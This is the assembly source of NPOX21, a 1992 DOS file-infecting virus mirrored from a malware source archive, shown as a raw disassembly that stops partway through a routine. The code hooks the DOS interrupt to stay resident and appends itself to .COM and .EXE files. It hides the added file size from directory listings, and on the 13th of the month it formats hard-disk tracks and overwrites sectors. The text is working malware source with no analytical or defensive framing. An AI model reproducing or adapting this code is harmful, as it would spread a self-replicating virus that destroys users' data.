mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
942 lines
18 KiB
NASM
942 lines
18 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ NPOX21 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 28-Sep-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 16h
|
|
data_2e equ 3 ;*
|
|
data_32e equ 103h ;*
|
|
data_33e equ 1 ;*
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
npox21 proc far
|
|
|
|
start:
|
|
jmp short $+3 ; delay for I/O
|
|
nop
|
|
call sub_1
|
|
|
|
npox21 endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
pop bp
|
|
sub bp,106h
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push bp
|
|
push es
|
|
push ds
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dh=month
|
|
; dl=day, al=day-of-week 0=SUN
|
|
cmp dl,0Dh
|
|
je loc_2 ; Jump if equal
|
|
jmp short loc_5
|
|
db 90h
|
|
loc_2:
|
|
mov ch,0
|
|
|
|
locloop_3:
|
|
mov ah,5
|
|
mov dh,0
|
|
mov dl,80h
|
|
int 13h ; Disk dl=drive 0 ah=func 05h
|
|
; format track=ch or cylindr=cx
|
|
; al=interleave, dh=head
|
|
inc ch
|
|
jc loc_4 ; Jump if carry Set
|
|
cmp ch,10h
|
|
loopnz locloop_3 ; Loop if zf=0, cx>0
|
|
|
|
loc_4:
|
|
mov al,2
|
|
mov cx,20h
|
|
mov dx,0
|
|
int 26h ; Absolute disk write, drive al
|
|
; if disk under 32MB, dx=start
|
|
; cx=#sectors, ds:bx=buffer
|
|
; else cx=-1, ds:dx=parm block
|
|
;* jmp far ptr loc_66 ;*
|
|
db 0EAh,0F0h,0FFh,0FFh,0FFh
|
|
loc_5:
|
|
mov ax,0ABDCh
|
|
int 21h ; ??INT Non-standard interrupt
|
|
cmp bx,0ABDCh
|
|
je loc_6 ; Jump if equal
|
|
push cs
|
|
pop ds
|
|
mov cx,es
|
|
mov ax,3521h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov word ptr cs:data_10+2[bp],es
|
|
mov cs:data_10[bp],bx
|
|
dec cx
|
|
mov es,cx
|
|
mov bx,es:data_2e
|
|
mov dx,696h
|
|
mov cl,4
|
|
shr dx,cl ; Shift w/zeros fill
|
|
add dx,4
|
|
mov cx,es
|
|
sub bx,dx
|
|
inc cx
|
|
mov es,cx
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change memory allocation
|
|
; bx=bytes/16, es=mem segment
|
|
jc loc_6 ; Jump if carry Set
|
|
mov ah,48h ; 'H'
|
|
dec dx
|
|
mov bx,dx
|
|
int 21h ; DOS Services ah=function 48h
|
|
; allocate memory, bx=bytes/16
|
|
jc loc_6 ; Jump if carry Set
|
|
dec ax
|
|
mov es,ax
|
|
mov cx,8
|
|
mov es:data_33e,cx
|
|
sub ax,0Fh
|
|
mov di,data_32e
|
|
mov es,ax
|
|
mov si,bp
|
|
add si,103h
|
|
mov cx,696h
|
|
cld ; Clear direction
|
|
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
|
mov ax,2521h
|
|
;* mov dx,offset loc_65 ;*
|
|
db 0BAh, 8Eh, 02h
|
|
push es
|
|
pop ds
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
loc_6:
|
|
push cs
|
|
pop ds
|
|
cmp cs:data_21[bp],5A4Dh
|
|
je loc_7 ; Jump if equal
|
|
mov bx,offset data_21
|
|
add bx,bp
|
|
mov ax,[bx]
|
|
mov word ptr ds:[100h],ax
|
|
inc bx
|
|
inc bx
|
|
mov al,[bx]
|
|
mov byte ptr ds:[102h],al
|
|
pop ds
|
|
pop es
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
mov ax,offset start
|
|
push ax
|
|
retn
|
|
db 'Death to Separatist'
|
|
db 0
|
|
loc_7:
|
|
mov bx,word ptr cs:data_12[bp]
|
|
mov dx,cs
|
|
sub dx,bx
|
|
mov ax,dx
|
|
add ax,cs:data_14[bp]
|
|
add dx,cs:data_16[bp]
|
|
mov bx,cs:data_13[bp]
|
|
mov word ptr cs:[236h][bp],bx
|
|
mov word ptr cs:[238h][bp],ax
|
|
mov ax,cs:data_13[bp]
|
|
mov word ptr cs:[22Ch][bp],dx
|
|
mov word ptr cs:[232h][bp],ax
|
|
pop ds
|
|
pop es
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
mov ax,0
|
|
cli ; Disable interrupts
|
|
mov ss,ax
|
|
mov sp,0
|
|
sti ; Enable interrupts
|
|
;* jmp far ptr loc_1 ;*
|
|
sub_1 endp
|
|
|
|
db 0EAh, 00h, 00h, 00h, 00h
|
|
loc_8:
|
|
call sub_2
|
|
test al,al
|
|
jnz loc_ret_15 ; Jump if not zero
|
|
push ax
|
|
push bx
|
|
push es
|
|
mov ah,51h ; 'Q'
|
|
int 21h ; DOS Services ah=function 51h
|
|
; get active PSP segment in bx
|
|
;* undocumented function
|
|
mov es,bx
|
|
cmp bx,es:data_1e
|
|
jne loc_14 ; Jump if not equal
|
|
mov bx,dx
|
|
mov al,[bx]
|
|
push ax
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
pop ax
|
|
inc al
|
|
jnz loc_13 ; Jump if not zero
|
|
add bx,7
|
|
loc_13:
|
|
mov ax,es:[bx+17h]
|
|
and ax,1Fh
|
|
cmp al,1Eh
|
|
jne loc_14 ; Jump if not equal
|
|
and byte ptr es:[bx+17h],0E0h
|
|
sub word ptr es:[bx+1Dh],696h
|
|
sbb word ptr es:[bx+1Fh],0
|
|
loc_14:
|
|
pop es
|
|
pop bx
|
|
pop ax
|
|
|
|
loc_ret_15:
|
|
iret ; Interrupt return
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
pushf ; Push flags
|
|
call dword ptr cs:data_10
|
|
retn
|
|
sub_2 endp
|
|
|
|
db 0EBh,0B0h
|
|
data_10 dw 0, 0 ; Data table (indexed access)
|
|
db 80h,0FCh, 11h, 74h,0F5h, 80h
|
|
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
|
|
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
|
|
db 74h, 12h, 80h,0FCh, 3Eh, 74h
|
|
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
|
|
db 8Bh,0D8h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
jmp dword ptr cs:data_10
|
|
db 0CBh
|
|
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
|
|
db 8Ah, 02h
|
|
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
|
|
db 8Ah, 02h
|
|
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
|
|
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
|
|
db 51h, 52h, 1Eh,0E8h, 00h, 03h
|
|
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
|
|
db 00h, 43h,0E8h,0A0h,0FFh, 72h
|
|
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
|
|
db 80h,0E1h,0FEh,0B8h, 01h, 43h
|
|
db 0E8h, 90h,0FFh
|
|
db 72h, 66h
|
|
loc_21:
|
|
mov ax,3D02h
|
|
call sub_2
|
|
loc_22:
|
|
jc loc_24 ; Jump if carry Set
|
|
mov bx,ax
|
|
call sub_12
|
|
jz loc_24 ; Jump if zero
|
|
push cs
|
|
pop ds
|
|
mov data_18,cx
|
|
mov data_19,dx
|
|
mov ah,3Fh ; '?'
|
|
mov cx,1Bh
|
|
mov dx,77Eh
|
|
call sub_2
|
|
jc loc_23 ; Jump if carry Set
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
jc loc_23 ; Jump if carry Set
|
|
cmp data_21,5A4Dh
|
|
je loc_25 ; Jump if equal
|
|
mov cx,ax
|
|
sub cx,3
|
|
mov data_20,cx
|
|
call sub_6
|
|
jc loc_24 ; Jump if carry Set
|
|
mov ah,40h ; '@'
|
|
mov dx,760h
|
|
mov cx,3
|
|
call sub_2
|
|
loc_23:
|
|
mov cx,data_18
|
|
mov dx,data_19
|
|
mov ax,5701h
|
|
call sub_2
|
|
mov ah,3Eh ; '>'
|
|
call sub_2
|
|
loc_24:
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
iret ; Interrupt return
|
|
loc_25:
|
|
call sub_15
|
|
jc loc_24 ; Jump if carry Set
|
|
call sub_16
|
|
call sub_13
|
|
jmp short loc_23
|
|
sub_3 endp
|
|
|
|
data_12 db 0, 0 ; Data table (indexed access)
|
|
data_13 dw 0 ; Data table (indexed access)
|
|
data_14 dw 0 ; Data table (indexed access)
|
|
data_15 dw 0
|
|
data_16 dw 0 ; Data table (indexed access)
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
call sub_8
|
|
jnc loc_26 ; Jump if carry=0
|
|
call sub_9
|
|
jnc loc_26 ; Jump if carry=0
|
|
retn
|
|
loc_26:
|
|
push ax
|
|
mov ax,3D02h
|
|
call sub_2
|
|
jnc loc_27 ; Jump if carry=0
|
|
pop ax
|
|
iret ; Interrupt return
|
|
loc_27:
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
mov bx,ax
|
|
call sub_12
|
|
jnz loc_28 ; Jump if not zero
|
|
call sub_17
|
|
loc_28:
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
cmp bx,0
|
|
je loc_ret_29 ; Jump if equal
|
|
cmp bx,5
|
|
ja loc_30 ; Jump if above
|
|
|
|
loc_ret_29:
|
|
retn
|
|
loc_30:
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push di
|
|
push ds
|
|
push es
|
|
push bp
|
|
push bx
|
|
mov ax,1220h
|
|
int 2Fh ; DOS Internal services
|
|
;* undocumented function
|
|
mov ax,1216h
|
|
mov bl,es:[di]
|
|
int 2Fh ; DOS Internal services
|
|
;* undocumented function
|
|
pop bx
|
|
add di,11h
|
|
mov byte ptr es:[di-0Fh],2
|
|
add di,17h
|
|
cmp word ptr es:[di],4F43h
|
|
jne loc_31 ; Jump if not equal
|
|
cmp byte ptr es:[di+2],4Dh ; 'M'
|
|
jne loc_34 ; Jump if not equal
|
|
jmp short loc_35
|
|
db 90h
|
|
loc_31:
|
|
cmp word ptr es:[di],5845h
|
|
jne loc_34 ; Jump if not equal
|
|
cmp byte ptr es:[di+2],45h ; 'E'
|
|
jne loc_34 ; Jump if not equal
|
|
cmp word ptr es:[di-8],4353h
|
|
jne loc_32 ; Jump if not equal
|
|
cmp word ptr es:[di-6],4E41h
|
|
je loc_34 ; Jump if equal
|
|
loc_32:
|
|
cmp word ptr es:[di-8],2D46h
|
|
jne loc_33 ; Jump if not equal
|
|
cmp word ptr es:[di-6],5250h
|
|
je loc_34 ; Jump if equal
|
|
loc_33:
|
|
cmp word ptr es:[di-8],4C43h
|
|
jne loc_35 ; Jump if not equal
|
|
cmp word ptr es:[di-6],4145h
|
|
jne loc_35 ; Jump if not equal
|
|
loc_34:
|
|
jmp short loc_37
|
|
db 90h
|
|
loc_35:
|
|
call sub_12
|
|
jz loc_37 ; Jump if zero
|
|
push cs
|
|
pop ds
|
|
mov data_18,cx
|
|
mov data_19,dx
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
mov ah,3Fh ; '?'
|
|
mov cx,1Bh
|
|
mov dx,77Eh
|
|
call sub_2
|
|
jc loc_36 ; Jump if carry Set
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
jc loc_36 ; Jump if carry Set
|
|
cmp data_21,5A4Dh
|
|
je loc_38 ; Jump if equal
|
|
mov cx,ax
|
|
sub cx,3
|
|
mov data_20,cx
|
|
call sub_6
|
|
jc loc_36 ; Jump if carry Set
|
|
mov ah,40h ; '@'
|
|
mov dx,760h
|
|
mov cx,3
|
|
call sub_2
|
|
loc_36:
|
|
mov cx,data_18
|
|
mov dx,data_19
|
|
mov ax,5701h
|
|
call sub_2
|
|
loc_37:
|
|
pop bp
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
loc_38:
|
|
call sub_15
|
|
jc loc_36 ; Jump if carry Set
|
|
call sub_16
|
|
call sub_13
|
|
jmp short loc_36
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
mov ah,40h ; '@'
|
|
mov dx,103h
|
|
mov cx,696h
|
|
call sub_2
|
|
jc loc_39 ; Jump if carry Set
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
jc loc_39 ; Jump if carry Set
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_39:
|
|
stc ; Set carry flag
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
mov ax,4300h
|
|
call sub_2
|
|
test cl,1
|
|
jz loc_40 ; Jump if zero
|
|
and cl,0FEh
|
|
mov ax,4301h
|
|
call sub_2
|
|
jc loc_41 ; Jump if carry Set
|
|
loc_40:
|
|
mov ax,3D02h
|
|
call sub_2
|
|
jc loc_41 ; Jump if carry Set
|
|
mov bx,ax
|
|
call sub_12
|
|
jnz loc_41 ; Jump if not zero
|
|
call sub_17
|
|
loc_41:
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
push si
|
|
push cx
|
|
mov si,dx
|
|
mov cx,256h
|
|
|
|
locloop_42:
|
|
cmp byte ptr [si],2Eh ; '.'
|
|
je loc_43 ; Jump if equal
|
|
inc si
|
|
loop locloop_42 ; Loop if cx > 0
|
|
|
|
loc_43:
|
|
cmp word ptr [si+1],4F43h
|
|
jne loc_44 ; Jump if not equal
|
|
cmp byte ptr [si+3],4Dh ; 'M'
|
|
je loc_46 ; Jump if equal
|
|
loc_44:
|
|
cmp word ptr [si+1],6F63h
|
|
jne loc_45 ; Jump if not equal
|
|
cmp byte ptr [si+3],6Dh ; 'm'
|
|
je loc_46 ; Jump if equal
|
|
loc_45:
|
|
pop cx
|
|
pop si
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_46:
|
|
pop cx
|
|
pop si
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
push si
|
|
push cx
|
|
mov si,dx
|
|
mov cx,256h
|
|
|
|
locloop_47:
|
|
cmp byte ptr [si],2Eh ; '.'
|
|
je loc_48 ; Jump if equal
|
|
inc si
|
|
loop locloop_47 ; Loop if cx > 0
|
|
|
|
loc_48:
|
|
cmp word ptr [si+1],5845h
|
|
jne loc_49 ; Jump if not equal
|
|
cmp byte ptr [si+3],45h ; 'E'
|
|
je loc_51 ; Jump if equal
|
|
loc_49:
|
|
cmp word ptr [si+1],7865h
|
|
jne loc_50 ; Jump if not equal
|
|
cmp byte ptr [si+3],65h ; 'e'
|
|
je loc_51 ; Jump if equal
|
|
loc_50:
|
|
pop cx
|
|
pop si
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_51:
|
|
pop cx
|
|
pop si
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
push bx
|
|
push cx
|
|
mov cl,0Ch
|
|
shl dx,cl ; Shift w/zeros fill
|
|
xchg ax,bx
|
|
mov cl,4
|
|
shr bx,cl ; Shift w/zeros fill
|
|
and ax,0Fh
|
|
add dx,bx
|
|
pop cx
|
|
pop bx
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
push si
|
|
push cx
|
|
mov si,dx
|
|
mov cx,256h
|
|
|
|
locloop_52:
|
|
cmp byte ptr [si],2Eh ; '.'
|
|
je loc_53 ; Jump if equal
|
|
inc si
|
|
loop locloop_52 ; Loop if cx > 0
|
|
|
|
loc_53:
|
|
cmp word ptr [si-2],4E41h
|
|
jne loc_54 ; Jump if not equal
|
|
cmp word ptr [si-4],4353h
|
|
je loc_57 ; Jump if equal
|
|
loc_54:
|
|
cmp word ptr [si-2],4E41h
|
|
jne loc_55 ; Jump if not equal
|
|
cmp word ptr [si-4],454Ch
|
|
je loc_57 ; Jump if equal
|
|
loc_55:
|
|
cmp word ptr [si-2],544Fh
|
|
jne loc_56 ; Jump if not equal
|
|
cmp word ptr [si-4],5250h
|
|
je loc_57 ; Jump if equal
|
|
loc_56:
|
|
pop cx
|
|
pop si
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_57:
|
|
pop cx
|
|
pop si
|
|
stc ; Set carry flag
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
mov ax,5700h
|
|
call sub_2
|
|
mov al,cl
|
|
or cl,1Fh
|
|
dec cx
|
|
xor al,cl
|
|
retn
|
|
sub_12 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
push bx
|
|
push cx
|
|
mov cl,7
|
|
shl dx,cl ; Shift w/zeros fill
|
|
mov bx,ax
|
|
mov cl,9
|
|
shr bx,cl ; Shift w/zeros fill
|
|
add dx,bx
|
|
and ax,1FFh
|
|
jz loc_58 ; Jump if zero
|
|
inc dx
|
|
loc_58:
|
|
pop cx
|
|
pop bx
|
|
mov cs:data_22,ax
|
|
mov cs:data_24,dx
|
|
mov ah,40h ; '@'
|
|
mov dx,77Eh
|
|
mov cx,1Bh
|
|
call sub_2
|
|
retn
|
|
sub_13 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
pushf ; Push flags
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push ss
|
|
push sp
|
|
push cs
|
|
pop ds
|
|
mov dx,74Bh
|
|
mov ax,4300h
|
|
call sub_2
|
|
jc loc_60 ; Jump if carry Set
|
|
test cl,1
|
|
jz loc_59 ; Jump if zero
|
|
and cl,0FEh
|
|
mov ax,4301h
|
|
call sub_2
|
|
jc loc_62 ; Jump if carry Set
|
|
loc_59:
|
|
mov ax,3D02h
|
|
call sub_2
|
|
loc_60:
|
|
jc loc_62 ; Jump if carry Set
|
|
mov bx,ax
|
|
call sub_12
|
|
jz loc_62 ; Jump if zero
|
|
mov data_18,cx
|
|
mov data_19,dx
|
|
mov ah,3Fh ; '?'
|
|
mov cx,3
|
|
mov dx,77Eh
|
|
call sub_2
|
|
jc loc_61 ; Jump if carry Set
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
jc loc_62 ; Jump if carry Set
|
|
mov cx,ax
|
|
sub cx,3
|
|
mov data_20,cx
|
|
call sub_6
|
|
jc loc_62 ; Jump if carry Set
|
|
mov ah,40h ; '@'
|
|
mov dx,760h
|
|
mov cx,3
|
|
call sub_2
|
|
loc_61:
|
|
mov cx,data_18
|
|
mov dx,data_19
|
|
mov ax,5701h
|
|
call sub_2
|
|
mov ah,3Eh ; '>'
|
|
call sub_2
|
|
loc_62:
|
|
pop sp
|
|
pop ss
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf ; Pop flags
|
|
retn
|
|
sub_14 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_15 proc near
|
|
mov cx,cs:data_28
|
|
mov cs:data_13,cx
|
|
mov cx,cs:data_29
|
|
mov cs:data_14,cx
|
|
mov cx,cs:data_27
|
|
mov cs:data_15,cx
|
|
mov cx,cs:data_26
|
|
mov cs:data_16,cx
|
|
push ax
|
|
push dx
|
|
call sub_10
|
|
sub dx,cs:data_25
|
|
mov word ptr cs:data_12,dx
|
|
push ax
|
|
push dx
|
|
call sub_6
|
|
pop dx
|
|
pop ax
|
|
mov cs:data_29,dx
|
|
mov cs:data_28,ax
|
|
pop dx
|
|
pop ax
|
|
retn
|
|
sub_15 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_16 proc near
|
|
add ax,696h
|
|
adc dx,0
|
|
push ax
|
|
push dx
|
